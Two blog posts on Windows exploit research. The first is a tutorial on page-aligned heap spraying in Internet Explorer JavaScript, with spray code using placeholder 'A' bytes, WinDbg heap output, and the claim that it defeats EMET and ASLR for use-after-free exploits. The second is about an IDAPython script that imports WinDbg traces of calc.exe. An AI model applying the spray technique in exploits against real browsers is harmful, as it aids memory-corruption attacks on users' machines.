Monday, August 29, 2011

Targeted Heap Spraying – 0x0c0c0c0c is a Thing of the Past


Traditionally, heap spraying has relied upon spraying with 0x0C0C0C0C followed by shellcode which serves as both an address in the heap and a series of nops. This however is not extremely reliable. You have to be lucky enough to not land on a heap header or somewhere in your shellcode. Additionally, the latest version of EMET now prevents the execution of address 0x0C0C0C0C or any other arbitrary address specified in the registry. While this is a futile attempt to prevent heap spraying, it will require another method to reliably execute shellcode in the heap. Rather, there is a method that allows you to reliably allocate shellcode that is both in a predictable location and memory page-aligned (64K-aligned).

It turns out that allocations in Javascript of at least 512K are allocated using VirtualAlloc, which returns addresses that are page aligned (i.e. in the form of 0xXXXX0000). I credit Alexander Sotirov with this discovery as I learned this technique from him. There are many ways to place shellcode in the heap but string allocations are the tried and true heap allocation primitive in javascript. The format of a javascript string on the heap is as follows:

[string length - 4 bytes][Unicode encoded string][\x00\x00]

The following diagram illustrates a string’s layout in memory:
 
Therefore, any javascript string will be 6 bytes long plus the length of the Unicode encoded string. Also, heap chunks allocated with VirtualAlloc are 0x20 bytes in length. As a result, shellcode allocated through VirtualAlloc will always reside at offset 0x24. Also, because each allocation results in a 64K-aligned address, we can make a series of string allocations that equal exactly 64K. That way, the start of our shellcode will always be located at an address of the form (0xXXXX0024).

The following javascript code takes advantage of these concepts by allocating an array of sixteen 64K strings (i.e. 1 megabyte).  Note the sixteenth allocation accounts for the size of the heap header and string length so that exactly one megabyte gets allocated. The resultant array is then allocated one hundred times resulting in an allocation of exactly 100MB.

<html>
<head>
<script>
function heapspray() {
    var shellcode = "\u4141";

    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;

    var onemeg = shellcode.substr(0, 64*1024/2);

    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }

    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

    var spray = new Array();

    for (i=0; i<100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
    }
}
</script>
</head>
<body>
<input type="button" value="Spray the heap" onclick="heapspray()"></input>
</body>
</html>

Run the javascript code above and follow along with the following analysis in WinDbg. Start by viewing the addresses of the heaps in Internet Explorer:

!heap -stat

_HEAP 00360000
     Segments            00000001
         Reserved  bytes 00100000
         Committed bytes 000f1000
     VirtAllocBlocks     00000001
         VirtAlloc bytes 035f0000
_HEAP 035b0000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00019000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00750000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00012000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00270000
     Segments            00000001
         Reserved  bytes 00010000
         Committed bytes 00010000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 02e20000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00001000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00010000
     Segments            00000001
         Reserved  bytes 00010000
         Committed bytes 00001000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000

Look at the “VirtAlloc bytes” field for a heap with a large allocation. The heap address we’re interested in is the first one – “_HEAP 00360000”

Next, view the allocation statistics for that heap handle:

!heap -stat -h 00360000

 heap @ 00360000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 65 - 64ff360  (99.12)
    40010 1 - 40010  (0.25)
    1034 10 - 10340  (0.06)
    20 356 - 6ac0  (0.03)
    494 16 - 64b8  (0.02)
    5ba0 1 - 5ba0  (0.02)
    5e4 b - 40cc  (0.02)
    4010 1 - 4010  (0.02)
    3980 1 - 3980  (0.01)
    d0 3e - 3260  (0.01)
    460 b - 3020  (0.01)
    1800 2 - 3000  (0.01)
    800 6 - 3000  (0.01)
    468 a - 2c10  (0.01)
    2890 1 - 2890  (0.01)
    78 52 - 2670  (0.01)
    10 215 - 2150  (0.01)
    1080 2 - 2100  (0.01)
    2b0 c - 2040  (0.01)
    2010 1 - 2010  (0.01)

Our neat and tidy allocations really stand out here. There are exactly 0x65 (101 decimal) allocations of size 0xfffe0 (1 MB minus the 20 byte heap header).

A nice feature of WinDbg is that you can view heap chunks of a particular size. The following command lists all the heaps chunks of size 0xfffe0.

!heap -flt s fffe0

    _HEAP @ 360000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        037f0018 1fffc fffc  [00]   037f0020    fffe0 - (busy VirtualAlloc)
        038f0018 1fffc fffc  [00]   038f0020    fffe0 - (busy VirtualAlloc)
        039f0018 1fffc fffc  [00]   039f0020    fffe0 - (busy VirtualAlloc)
        03af0018 1fffc fffc  [00]   03af0020    fffe0 - (busy VirtualAlloc)
        03bf0018 1fffc fffc  [00]   03bf0020    fffe0 - (busy VirtualAlloc)
        05e80018 1fffc fffc  [00]   05e80020    fffe0 - (busy VirtualAlloc)
        05f80018 1fffc fffc  [00]   05f80020    fffe0 - (busy VirtualAlloc)
        06080018 1fffc fffc  [00]   06080020    fffe0 - (busy VirtualAlloc)
        06180018 1fffc fffc  [00]   06180020    fffe0 - (busy VirtualAlloc)
       
        0aa80018 1fffc fffc  [00]   0aa80020    fffe0 - (busy VirtualAlloc)
        0ab80018 1fffc fffc  [00]   0ab80020    fffe0 - (busy VirtualAlloc)
        0ac80018 1fffc fffc  [00]   0ac80020    fffe0 - (busy VirtualAlloc)
        0ad80018 1fffc fffc  [00]   0ad80020    fffe0 - (busy VirtualAlloc)
        0ae80018 1fffc fffc  [00]   0ae80020    fffe0 - (busy VirtualAlloc)
        0af80018 1fffc fffc  [00]   0af80020    fffe0 - (busy VirtualAlloc)
        0b080018 1fffc fffc  [00]   0b080020    fffe0 - (busy VirtualAlloc)
        0b180018 1fffc fffc  [00]   0b180020    fffe0 - (busy VirtualAlloc)
        0b280018 1fffc fffc  [00]   0b280020    fffe0 - (busy VirtualAlloc)
        0b380018 1fffc fffc  [00]   0b380020    fffe0 - (busy VirtualAlloc)
    _HEAP @ 10000
    _HEAP @ 270000
    _HEAP @ 750000
    _HEAP @ 2e20000
    _HEAP @ 35b0000

Note how each allocation is allocated in sequential order.

Now that we have the addresses of each heap chunk we can start to inspect memory for our 0x41’s:

0:007> db 06b80000
06b80000  00 00 c8 06 00 00 a8 06-00 00 00 00 00 00 00 00  ................
06b80010  00 00 10 00 00 00 10 00-61 65 15 29 00 00 00 04  ........ae.)....
06b80020  da ff 0f 00 41 41 41 41-41 41 41 41 41 41 41 41  ....AAAAAAAAAAAA
06b80030  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

You can clearly see the string length at offset 0x20 – 000fffda which is the length of the string minus the null terminator.

Another way to analyze your heap allocations is through the fragmentation view of VMmap – one of many incredibly useful tools in the Sysinternals suite. The following image shows an allocation of 1000MB. Within the fragmentation view you can zoom in and click on individual allocations and confirm that each heap allocation (in orange) begins at an address in the form of 0xXXXX0000.


So why is this technique so useful? This method of heap spraying is perfect when exploiting use-after-free vulnerabilities where an attacker can craft fake objects and vtable structures. A fake vtable pointer can then point to an address in the heap range – 0x11F50024 just as an example. Thus, there is no need to rely upon nops and no need to worry about EMET’s arbitrary prevention of executing 0x0C0C0C0C-style addresses. For all intents and purposes, you’ve completely bypassed ASLR protections.

Saturday, July 30, 2011

Integrating WinDbg and IDA for Improved Code Flow Analysis

IDA is hands down the best tool for static analysis. Its debugger on the other hand, when compared to the power of WinDbg is certainly lacking, IMHO. As such, I find myself wasting too much time switching between windows and manually highlighting and commenting instructions in IDA as I trace through them in WinDbg. Fortunately, the power of IDApython can be unleashed to reduce this tedium.

I was reading an older TippingPoint MindshaRE article from Cody Pierce entitled “Hit Tracing in WinDbg[1]” and was inspired by his ideas to implement my own IDApython script to better integrate WinDbg with IDA. While, I may be recreating many of his efforts, my primary intent was to get better at scripting in IDApython while improving upon my static/dynamic analysis workflow.

The purpose of my script is to parse WinDbg log files for module base addresses, instruction addresses, references to register values, and pointer dereferences. Then, for every instruction you hit in your debug session, the corresponding instructions will be colored and commented accordingly and in a module base address-agnostic fashion.

To get started, your WinDbg log file will need to display the following:

• Disassembly of current instruction
• Effective address for current instruction
• Register state
• Listing of loaded modules (optional, but highly recommended)

The first three items should be enabled by default but can be re-enabled with the ‘.prompt_allow’ command. Your output should look like the following:

eax=003762f8 ebx=006cc278 ecx=00000004 edx=00000000 esi=006cc420 edi=00000001
eip=00491469 esp=0020e348 ebp=0020e388 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
calc!CCalcEngine::DoOperation+0x6be:
00491469 e8074efeff      call    calc!divrat (00476275)

The reason it is ideal to include module base addresses in your log file is so that effective addresses can be calculated as offsets then added to the base address of the module in IDA. This helps because the module base address in WinDbg is often different than the base address in IDA. Also, this avoids having to modify the dumpfile to match IDA or rebase the addresses in IDA – both, a pain and unnecessary. My script parses the output of ‘lmp’ in WinDbg which outputs the base addresses of loaded modules minus symbol information.

To continue riding Cody’s coattails, I’ll be analyzing the DoOperation function (0x00495001-0x00495051) in calc.exe as he did. I determined the beginning and ending addresses of the function with the following commands:

0:000> X calc!*DoOperation*
00495001 calc!CCalcEngine::DoOperation =
0:000> BP 00495001
0:000> g

Entering in 1000 / 4 in calc

Breakpoint 0 hit
eax=00439220 ebx=0069c420 ecx=0069c278 edx=00000000 esi=0069c278 edi=00000000
eip=00495001 esp=0032e95c ebp=0032ea4c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
calc!CCalcEngine::DoOperation:
00495001 6a1c push 1Ch

Step through function until return instruction

0:000> PT
eax=00000000 ebx=0069c420 ecx=00495051 edx=00445310 esi=0069c278 edi=00000000
eip=00495051 esp=0032e95c ebp=0032ea4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
calc!CCalcEngine::DoOperation+0xfa:
00495051 c20c00 ret 0Ch
0:000> g
0:004> .logopen "calc.log"

The following dump is the result of the operation 1000/4 in the function without stepping into calls (using the PA command):


Obviously, manually annotating all of this information in IDA is the work of an unpaid intern. I, on the other hand, value my time and wrote the following script to parse out the log file and import it into IDA:


The script has the following features:

• Prompts user for WinDbg log file to load
• Prompts user for the instruction highlight color (real men use pink) ;P
• Parses the output of the ‘lmp’ command and calculates instruction offsets from the module base address
• Creates comments for the values of referenced registers
• Creates comments for the value of pointer dereferences

Here is what the graph of DoOperation looks like before 1000 / 4 is performed:


Here is what the graph of DoOperation looks like after 1000 / 4 is performed:


You can see the highlighted instructions and the values of any referenced registers and pointers.


Hopefully, by now you can see the power of IDApython in improving your analysis workflow. If you use this script, I welcome your feedback!

References:

1. Cody Pierce, “MindshaRE: Hit Tracing in WinDbg,” July 17, 2008, http://dvlabs.tippingpoint.com/blog/2008/07/17/mindshare-hit-tracing-in-windbg